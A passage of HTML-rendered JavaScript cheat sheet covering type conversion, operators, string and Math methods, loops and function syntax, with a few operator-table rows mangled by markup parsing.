&lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;12px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// 12 (always pass the radix)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Convert explicitly:&lt;/strong&gt; &lt;code&gt;Number(x)&lt;/code&gt;, &lt;code&gt;String(x)&lt;/code&gt;, &lt;code&gt;Boolean(x)&lt;/code&gt; or &lt;code&gt;!!x&lt;/code&gt;, &lt;code&gt;parseInt(x, 10)&lt;/code&gt;, &lt;code&gt;parseFloat(x)&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Operators worth knowing
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Operator&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;?.&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Optional chaining&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;user?.address?.city&lt;/code&gt;, &lt;code&gt;fn?.()&lt;/code&gt;, &lt;code&gt;arr?.[0]&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;??&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Nullish coalescing (only null or undefined)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;count ?? 10&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;`\&lt;/td&gt;
&lt;td&gt;\&lt;/td&gt;
&lt;td&gt;`&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;??=&lt;/code&gt; `\&lt;/td&gt;
&lt;td&gt;\&lt;/td&gt;
&lt;td&gt;=&lt;code&gt; &lt;/code&gt;&amp;amp;&amp;amp;=`&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;**&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Exponent&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;2 ** 10&lt;/code&gt; is &lt;code&gt;1024&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Spread (expand) or rest (collect)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;[...a, ...b]&lt;/code&gt;, &lt;code&gt;(...args) =&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;? :&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ternary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ok ? 'yes' : 'no'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;typeof&lt;/code&gt;, &lt;code&gt;instanceof&lt;/code&gt;, &lt;code&gt;in&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Type checks&lt;/td&gt;
&lt;td&gt;&lt;code&gt;'a' in obj&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1_000_000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Numeric separator&lt;/td&gt;
&lt;td&gt;readability only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;     &lt;span class="c1"&gt;// keeps 0 if port is 0&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;port2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="c1"&gt;// replaces 0 with 3000 (bug)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;city&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;city&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;     &lt;span class="c1"&gt;// undefined instead of TypeError&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Strings, numbers and Math
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Strings (immutable)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;World&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="s2"&gt;`Hello, &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;! &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;     &lt;span class="c1"&gt;// template literal, multi-line allowed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;slice(start, end)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Substring (negative indexes allowed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;at(-1)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Last character&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;includes&lt;/code&gt;, &lt;code&gt;startsWith&lt;/code&gt;, &lt;code&gt;endsWith&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Boolean checks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;indexOf(x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Position or -1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;split(',')&lt;/code&gt; and &lt;code&gt;arr.join(',')&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;String to array and back&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;trim()&lt;/code&gt;, &lt;code&gt;trimStart()&lt;/code&gt;, &lt;code&gt;trimEnd()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Remove whitespace&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;padStart(5, '0')&lt;/code&gt;, &lt;code&gt;padEnd()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;'7'.padStart(3,'0')&lt;/code&gt; gives &lt;code&gt;'007'&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;replace(a, b)&lt;/code&gt;, &lt;code&gt;replaceAll(a, b)&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;replace&lt;/code&gt; with a string only changes the first match&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;toUpperCase()&lt;/code&gt;, &lt;code&gt;toLowerCase()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Case&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;repeat(3)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;'ab'.repeat(2)&lt;/code&gt; gives &lt;code&gt;'abab'&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;localeCompare(b)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Correct sorting for human languages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;isWellFormed()&lt;/code&gt;, &lt;code&gt;toWellFormed()&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Check or fix lone surrogates&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;'😀'.length&lt;/code&gt; is &lt;code&gt;2&lt;/code&gt;. Length counts UTF-16 units. Use &lt;code&gt;[...str].length&lt;/code&gt; to count characters (code points).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Numbers and Math
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1234.5678&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toFixed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;          &lt;span class="c1"&gt;// '1234.57' (returns a STRING)&lt;/span&gt;
&lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isInteger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;             &lt;span class="c1"&gt;// true&lt;/span&gt;
&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2.5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                 &lt;span class="c1"&gt;// 3&lt;/span&gt;
&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                &lt;span class="c1"&gt;// -2&lt;/span&gt;
&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;trunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                &lt;span class="c1"&gt;// -1&lt;/span&gt;
&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;nums&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;               &lt;span class="c1"&gt;// Math.max() with no args is -Infinity&lt;/span&gt;
&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;max&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;min&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;min&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// random int in [min, max]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Math.sumPrecise(list)&lt;/code&gt; (ES2026) adds many numbers without accumulating rounding error.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Control flow and loops
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;switch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;day&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sat&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sun&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;weekend&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// forget break and it falls through&lt;/span&gt;
  &lt;span class="nl"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;weekday&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Loop&lt;/th&gt;
&lt;th&gt;Use for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;for (let i = 0; i &amp;lt; n; i++)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Counted loops&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;for (const x of iterable)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Values of arrays, strings, Maps, Sets, generators. &lt;strong&gt;Default choice.&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;for (const key in obj)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enumerable keys of an object (also inherited ones). Avoid on arrays.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;while&lt;/code&gt;, &lt;code&gt;do...while&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Unknown number of iterations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;arr.forEach(fn)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Side effects. Cannot &lt;code&gt;break&lt;/code&gt;, does not wait for &lt;code&gt;await&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;for await (const x of asyncIterable)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Async streams&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;map&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nl"&gt;outer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;           &lt;span class="c1"&gt;// label to break out of nested loops&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt; &lt;span class="nx"&gt;outer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  8. Functions and this
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Ways to write a function
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;            &lt;span class="c1"&gt;// declaration (hoisted)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sub&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;  &lt;span class="c1"&gt;// expression&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;mul&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                    &lt;span class="c1"&gt;// arrow, implicit return&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;makeUser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;            &lt;span class="c1"&gt;// wrap returned object literal in ()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Parameters
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;friend&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;rest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;      &lt;span class="c1"&gt;// default value, rest parameter&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`Hi &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; (+&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;rest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; extra)`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;first&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;second&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;                 &lt;span class="c1"&gt;// destructuring&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;area&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;w&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;   &lt;span class="c1"&gt;// destructure a param object&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Arrow functions vs regular functions
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Regular&lt;/th&gt;
&lt;th&gt;Arrow&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
